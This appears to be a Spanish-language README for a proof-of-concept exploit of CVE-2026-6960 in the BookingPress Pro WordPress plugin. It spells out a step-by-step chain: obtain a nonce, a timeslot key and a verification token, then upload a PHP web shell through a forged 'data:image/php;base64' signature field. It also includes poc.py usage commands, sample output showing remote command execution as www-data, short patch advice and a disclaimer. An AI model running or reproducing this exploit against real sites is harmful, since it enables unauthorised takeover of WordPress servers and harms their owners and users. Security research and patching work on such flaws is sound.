
Exploit de prueba de concepto para CVE-2026-6960: carga arbitraria de archivos sin autenticación en BookingPress Pro ≤ 5.6. Automatiza una cadena de 3 pasos para cargar un web shell PHP mediante inyección de data URI, logrando ejecución remota de código en sitios WordPress vulnerables.
Investigación por: Atomic Edge Severidad: Crítica | CVSS: 9.8 | Autenticación Requerida: Ninguna
⚠️ v2 — Correcciones técnicas aplicadas según los comentarios de la comunidad. Consulte el Registro de cambios para más detalles.
Existe una vulnerabilidad crítica de carga arbitraria de archivos sin autenticación en el plugin de WordPress (versiones ≤ 5.6). El controlador de envío de reservas procesa un valor de campo personalizado de firma como un . El plugin extrae la extensión del archivo de la parte del tipo MIME del URI mediante una expresión regular y la pasa directamente a — sin lista blanca ni lista negra de extensiones. Esto permite a un atacante escribir un shell web PHP en un directorio accesible desde la web y lograr .
bookingpress_book_appointment_bookingfile_put_contents()| Propiedad | Detalle |
|---|---|
| Plugin | BookingPress Pro (bookingpress-appointment-booking-pro) |
| Afectado | ≤ 5.6 |
| Corregido en | 5.7 |
| Vector | Red / Sin autenticación |
| Acción AJAX | bookingpress_book_appointment_booking |
| Causa raíz | Extensión extraída del tipo MIME controlado por el atacante en un URI de datos → file_put_contents() sin lista blanca |
| CWE | CWE-434: Restricción inadecuada de carga de archivos con tipo peligroso |
⚠️ Todas las siguientes condiciones deben cumplirse para que el sitio sea explotable:
Los sitios que ejecutan ≤ 5.6 sin un campo personalizado de firma configurado no son explotables a través de este vector.
1. GET /booking-page/
└─ Extraer _wpnonce del código fuente de la página
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtener la clave transitoria del espacio horario del lado del servidor
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtener el token de verificación previa a la reserva
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ El plugin extrae "php" del tipo MIME → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmado
La ruta de código vulnerable procesa el valor del campo de firma como un URI de datos:
data:image/{ext};base64,{base64_encoded_content}
BookingPress extrae {ext} del tipo MIME mediante una coincidencia de expresión regular y luego escribe el contenido decodificado en disco usando file_put_contents() con esa extensión añadida al nombre del archivo — no se realiza ninguna verificación de lista blanca. Al proporcionar image/php como tipo MIME, se escribe un archivo .php en el directorio de carga.
Esto es fundamentalmente diferente de una carga de archivo multipart estándar: el payload está incrustado en un campo del cuerpo JSON, no en una parte de carga de archivo.
pip install requests
# Básico — formulario de reserva en la página de inicio, ID de servicio 1
python3 poc.py -u https://target.com
# Formulario de reserva en una página específica
python3 poc.py -u https://target.com --booking-page /appointments/
# ID de servicio personalizado y nombre de archivo del shell
python3 poc.py -u https://target.com -s 3 -f evil.php
# Omitir la verificación SSL
python3 poc.py -u https://target.com --no-verify
| Flag | Descripción | Predeterminado |
|---|---|---|
-u, --url | URL de WordPress objetivo | (obligatorio) |
-bp, --booking-page | Ruta de la página que contiene el formulario de BookingPress | / |
-s, --service-id | ID de servicio de BookingPress | 1 |
-f, --filename | Nombre del archivo del shell (la extensión se inyecta en el MIME del URI de datos) | shell.php |
--no-verify | Deshabilitar la verificación del certificado SSL | false |
[!] PRECONDICIÓN: Este exploit requiere que un campo personalizado de tipo firma
esté configurado en el formulario de reserva de BookingPress por el administrador del sitio.
[*] Paso 1/3 — Obteniendo _wpnonce de: https://target.com/appointments/
[+] _wpnonce encontrado: 9f1c3a72bd
[*] Paso 2/3 — Obteniendo la transición del espacio horario...
[+] Transición del espacio horario: bp_ts_a1b2c3d4
[*] Paso 3/3 — Obteniendo el token de verificación previa a la reserva...
[+] Token de verificación: bp_vt_e5f6g7h8
[*] Subiendo shell mediante el método de URI de datos...
[*] Extensión inyectada en el tipo MIME: image/php
[+] Respuesta de carga (HTTP 200): {"success":true,...}
[✓] ¡El shell está VIVO!
Salida de 'id': uid=33(www-data) gid=33(www-data)
[→] Acceso al shell: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<comando>
image/png, image/jpeg, image/svg+xml) antes de extraer la extensiónwp_check_filetype_and_ext() para toda la validación de tipos de archivo→ Actualice a BookingPress Pro 5.7 inmediatamente.
| # | Problema | v1 (incorrecto) | v2 (corregido) |
|---|---|---|---|
| 1 | Acción AJAX | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | Método del payload | Carga de archivo multipart con image/png | URI de datos: data:image/{ext};base64,... |
| 3 | Flujo del exploit | POST directo sin autenticación | Cadena de requisitos previos de 3 pasos (nonce → transición → token) |
| 4 | Precondición | No documentada | El campo personalizado de firma debe estar configurado |
Este repositorio está destinado solo a investigación de seguridad autorizada y fines educativos. No utilice esta herramienta contra ningún sistema sin permiso explícito por escrito del propietario del sistema. El uso no autorizado puede violar la CFAA (EE. UU.), el Código Penal s.342.1 (Canadá), la Directiva NIS2 de la UE y otras leyes aplicables. Los autores no aceptan ninguna responsabilidad por el mal uso o los daños derivados de este código.